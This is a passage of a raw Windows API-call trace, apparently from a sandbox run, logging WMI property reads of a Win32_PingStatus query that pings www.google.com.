ppvObject=0x59ee38c*=0x0) returned 0x80004002 [0138.536] IUnknown:Release (This=0x507f00) returned 0x2 [0138.536] CoGetContextToken (in: pToken=0x59ee8f4 | out: pToken=0x59ee8f4) returned 0x0 [0138.536] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0138.536] IUnknown:QueryInterface (in: This=0x507f00, riid=0x59ee924*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59ee920 | out: ppvObject=0x59ee920*=0x507f00) returned 0x0 [0138.536] IUnknown:AddRef (This=0x507f00) returned 0x4 [0138.536] IUnknown:Release (This=0x507f00) returned 0x3 [0138.536] IUnknown:Release (This=0x507f00) returned 0x2 [0138.536] CoTaskMemFree (pv=0x4f35d78) [0138.536] CoGetContextToken (in: pToken=0x59eec64 | out: pToken=0x59eec64) returned 0x0 [0138.536] IUnknown:AddRef (This=0x507f00) returned 0x3 [0138.536] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59eef64*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59eefe4*=0, plFlavor=0x59eefe0*=0 | out: pVal=0x59eef64*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x59eefe4*=3, plFlavor=0x59eefe0*=64) returned 0x0 [0138.536] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59eef48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59eefcc*=0, plFlavor=0x59eefc8*=0 | out: pVal=0x59eef48*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x59eefcc*=8, plFlavor=0x59eefc8*=64) returned 0x0 [0138.536] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.536] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.537] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x56c [0138.537] SetEvent (hEvent=0x3f0) returned 1 [0138.537] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59eef20*=0x56c, lpdwindex=0x59eed44 | out: lpdwindex=0x59eed44) returned 0x0 [0138.540] CoGetContextToken (in: pToken=0x59eedf4 | out: pToken=0x59eedf4) returned 0x0 [0138.540] CoGetContextToken (in: pToken=0x59eed54 | out: pToken=0x59eed54) returned 0x0 [0138.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da9e0, riid=0x59eee24*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59eee20 | out: ppvObject=0x59eee20*=0x4da9e0) returned 0x0 [0138.540] WbemDefPath:IUnknown:AddRef (This=0x4da9e0) returned 0x3 [0138.540] WbemDefPath:IUnknown:Release (This=0x4da9e0) returned 0x2 [0138.540] WbemDefPath:IWbemPath:SetText (This=0x4da9e0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0138.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eefa0 | out: puCount=0x59eefa0*=0x2) returned 0x0 [0138.540] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef9c*=0x0, pszText=0x0 | out: puBuffLength=0x59eef9c*=0xf, pszText=0x0) returned 0x0 [0138.540] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0138.540] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0138.540] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.540] IWbemClassObject:Get (in: This=0x507f00, wszName="Address", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432c58*=0, plFlavor=0x2432c5c*=0 | out: pVal=0x59eef04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2432c58*=8, plFlavor=0x2432c5c*=0) returned 0x0 [0138.540] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.540] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.540] IWbemClassObject:Get (in: This=0x507f00, wszName="Address", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432c58*=8, plFlavor=0x2432c5c*=0 | out: pVal=0x59eef0c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2432c58*=8, plFlavor=0x2432c5c*=0) returned 0x0 [0138.540] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.541] SysStringByteLen (bstr="www.google.com") returned 0x1c [0138.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0138.541] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0138.541] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.541] IWbemClassObject:Get (in: This=0x507f00, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432d14*=0, plFlavor=0x2432d18*=0 | out: pVal=0x59eef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432d14*=19, plFlavor=0x2432d18*=0) returned 0x0 [0138.541] IWbemClassObject:Get (in: This=0x507f00, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432d14*=19, plFlavor=0x2432d18*=0 | out: pVal=0x59eef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432d14*=19, plFlavor=0x2432d18*=0) returned 0x0 [0138.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef08 | out: puCount=0x59eef08*=0x2) returned 0x0 [0138.541] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0x0, pszText=0x0 | out: puBuffLength=0x59eef04*=0xf, pszText=0x0) returned 0x0 [0138.541] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.541] IWbemClassObject:Get (in: This=0x507f00, wszName="StatusCode", lFlags=0, pVal=0x59eef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432da8*=0, plFlavor=0x2432dac*=0 | out: pVal=0x59eef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432da8*=19, plFlavor=0x2432dac*=0) returned 0x0 [0138.541] IWbemClassObject:Get (in: This=0x507f00, wszName="StatusCode", lFlags=0, pVal=0x59eef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432da8*=19, plFlavor=0x2432dac*=0 | out: pVal=0x59eef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2432da8*=19, plFlavor=0x2432dac*=0) returned 0x0 [0138.542] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0138.542] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0138.542] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.542] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24332a4*=0, plFlavor=0x24332a8*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24332a4*=8, plFlavor=0x24332a8*=64) returned 0x0 [0138.542] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.542] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.542] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24332a4*=8, plFlavor=0x24332a8*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24332a4*=8, plFlavor=0x24332a8*=64) returned 0x0 [0138.542] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.542] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.542] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0138.542] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0138.543] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.543] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2433340*=0, plFlavor=0x2433344*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2433340*=8, plFlavor=0x2433344*=64) returned 0x0 [0138.543] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.543] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.543] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2433340*=8, plFlavor=0x2433344*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2433340*=8, plFlavor=0x2433344*=64) returned 0x0 [0138.543] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.543] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.543] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0138.543] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0138.543] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.543] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243349c*=0, plFlavor=0x24334a0*=0 | out: pVal=0x59eec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e3c0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b1e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x243349c*=8200, plFlavor=0x24334a0*=64) returned 0x0 [0138.543] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243349c*=8200, plFlavor=0x24334a0*=64 | out: pVal=0x59eec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e390*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b1e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x243349c*=8200, plFlavor=0x24334a0*=64) returned 0x0 [0138.543] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0138.544] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0138.544] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.544] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2433704*=0, plFlavor=0x2433708*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2433704*=8, plFlavor=0x2433708*=64) returned 0x0 [0138.544] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.544] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.544] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2433704*=8, plFlavor=0x2433708*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2433704*=8, plFlavor=0x2433708*=64) returned 0x0 [0138.544] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.544] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.544] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0138.544] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0138.544] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.544] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243382c*=0, plFlavor=0x2433830*=0 | out: pVal=0x59eec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e3c0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b1e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x243382c*=8200, plFlavor=0x2433830*=64) returned 0x0 [0138.544] IWbemClassObject:Get (in: This=0x507f00, wszName="__Derivation", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243382c*=8200, plFlavor=0x2433830*=64 | out: pVal=0x59eec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e390*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b1e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x243382c*=8200, plFlavor=0x2433830*=64) returned 0x0 [0138.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0138.545] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee87c*=0xf, pszText=0x0) returned 0x0 [0138.545] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0138.545] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee87c*=0xf, pszText=0x0) returned 0x0 [0138.545] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.545] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee888*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee87c | out: pNames=0x59ee87c*="\x01ƀ\x04") returned 0x0 [0138.545] SafeArrayGetDim (psa=0x4f3e450) returned 0x1 [0138.545] SafeArrayGetDim (psa=0x4f3e450) returned 0x1 [0138.545] SafeArrayGetLBound (in: psa=0x4f3e450, nDim=0x1, plLbound=0x59ee714 | out: plLbound=0x59ee714) returned 0x0 [0138.546] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.546] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.546] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.546] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.546] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.546] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.546] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.546] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.546] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.546] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.546] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.546] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.546] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.546] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.546] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.546] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.546] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.546] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.546] SysStringByteLen (bstr="__PATH") returned 0xc [0138.546] SysStringByteLen (bstr="__PATH") returned 0xc [0138.546] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2435148*=0, plFlavor=0x243514c*=0 | out: pVal=0x59ee878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2435148*=3, plFlavor=0x243514c*=64) returned 0x0 [0138.547] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2435250*=0, plFlavor=0x2435254*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2435250*=8, plFlavor=0x2435254*=64) returned 0x0 [0138.547] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.547] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.547] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24352e4*=0, plFlavor=0x24352e8*=0 | out: pVal=0x59ee878*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24352e4*=8, plFlavor=0x24352e8*=64) returned 0x0 [0138.547] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24353a8*=0, plFlavor=0x24353ac*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24353a8*=8, plFlavor=0x24353ac*=64) returned 0x0 [0138.547] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.547] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.547] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x243543c*=0, plFlavor=0x2435440*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x243543c*=8, plFlavor=0x2435440*=64) returned 0x0 [0138.547] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.547] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.547] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2435680*=0, plFlavor=0x2435684*=0 | out: pVal=0x59ee878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2435680*=3, plFlavor=0x2435684*=64) returned 0x0 [0138.548] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24357c8*=0, plFlavor=0x24357cc*=0 | out: pVal=0x59ee878*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e390*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b1e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24357c8*=8200, plFlavor=0x24357cc*=64) returned 0x0 [0138.548] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2435838*=0, plFlavor=0x243583c*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2435838*=8, plFlavor=0x243583c*=64) returned 0x0 [0138.548] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.548] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.548] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24358c0*=0, plFlavor=0x24358c4*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24358c0*=8, plFlavor=0x24358c4*=64) returned 0x0 [0138.548] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.548] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.548] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2435994*=0, plFlavor=0x2435998*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2435994*=8, plFlavor=0x2435998*=64) returned 0x0 [0138.548] SysStringByteLen 